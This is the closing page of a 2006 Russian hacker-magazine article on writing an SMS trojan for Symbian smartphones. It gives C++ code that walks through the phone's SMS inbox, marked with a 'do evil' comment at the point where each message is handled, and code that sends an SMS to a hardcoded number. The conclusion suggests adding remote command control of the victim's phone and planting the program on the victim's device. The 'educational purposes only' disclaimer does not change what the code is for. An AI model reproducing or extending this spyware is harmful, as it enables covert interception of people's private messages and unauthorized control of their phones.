Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #93, СЕНТЯБРЬ 2006 г.

Смс–шпионаж

Тарасов Дмитрий aka Dem@n

Хакер, номер #093, стр. 093-132-4


CleanupStack::PushL(session); //создаем объект сессии

TMsvSelectionOrdering order(KMsvNoGrouping,EMsvSortByDate,ETrue); //объект, определящий порядок сортировки sms

CMsvEntry* inboxEntry=CMsvEntry::NewL(*session,KMsvGlobalInBoxIndexEntryId,order);

CleanupStack::PushL(inboxEntry); //Выбираем входящие сообщения

CMsvEntrySelection* selection=inboxEntry->ChildrenWithTypeL(KUidMsvMessageEntry);

CleanupStack::PushL(selection); //создаем список сообщений в Inbox

TMsvEntry messageEntry; // создаем объект для entry

TMsvId owningServiceId=KMsvDraftEntryId;

const TInt count(selection->Count()); //количество сообщений в Inbox

for (TInt i=0;i<count;i++)

{

User::LeaveIfError(session->GetEntry((*selection)[0],owningServiceId,messageEntry)); //на данной итерации messageEntry - i-я смска в Inbox :)

//творим зло

}

CleanupStack::PopAndDestroy(4); //освобождаем память

Создаем смс

void CXaSendSms::SMSFunc(TDesC &aRecipientAddress)

{

CSendAsObserver *anObserver = new CSendAsObserver();

CSendAs* aSendAs = CSendAs::NewL(*anObserver); //создаем класс, отвечающий за отправку смс

CleanupStack::PushL(aSendAs);

aSendAs->AddMtmCapabilityL(KUidMsvMtmQueryEditorUid,EFalse);

aSendAs->SetMtmL(KUidMsgTypeSMS); //устанавливаем тип сообщения - sms

aSendAs->CreateMessageL(); //создаем сообщение

aSendAs->AddRecipientL(aRecipientAddress); //добавляем адрес получателя

CRichText& messageBody = aSendAs->ClientMtm().Body(); //инициализируем тело сообщения

messageBody.Reset();

_LIT(KTestSmsMsg,"Neftis"); //так в Symbian C++ определяются строки

messageBody.InsertL(0,KTestSmsMsg); //вставляем в сообщение текст

aSendAs->SaveMessageL(ETrue);

CleanupStack::PopAndDestroy(aSendAs);

}

//потом эту функцию в теле программы используем так:

_LIT16(KData,"+79162198255"); //создаем строку с номером Хакера

TBufC16<13> str(KData); //преобразовываем ее к типу TDesC &

MSFunc(str.Left(12)); //создаем смс

Вместо заключения

В этой статье мы рассмотрели, как создать простенький смс-троян для смартфона. Функционал можно расширить по своему усмотрению, ведь фантазия и программерские возможности нам это позволяют. Например, легко добавить возможность управления чужой мобилой за счет посылки специальных команд с определенного номера и творить на ней ужасный произвол :). Дело за малым - внедрить прогу в аппарат жертвы.

CD

На диске ты найдешь исходник программы, познавательные доки, а также необходимое ПО

WWW

http://club60.org - пожалуй, единственный стоящий источник информации о Symbian на русском языке

NewLC.com - весьма познавательный ресурс

http://discussion.forum.nokia.com - здесь можно найти решение практически любой проблемы

INFO

Наша программка будет работать на большей части смартфонов под Symbian :)

WARNINIG

Информация в статье представлена исключительно в образовательных целях! Мы не несем ответственности за противозаконное использование этой информации

Назад на стр. 093-132-3  Содержание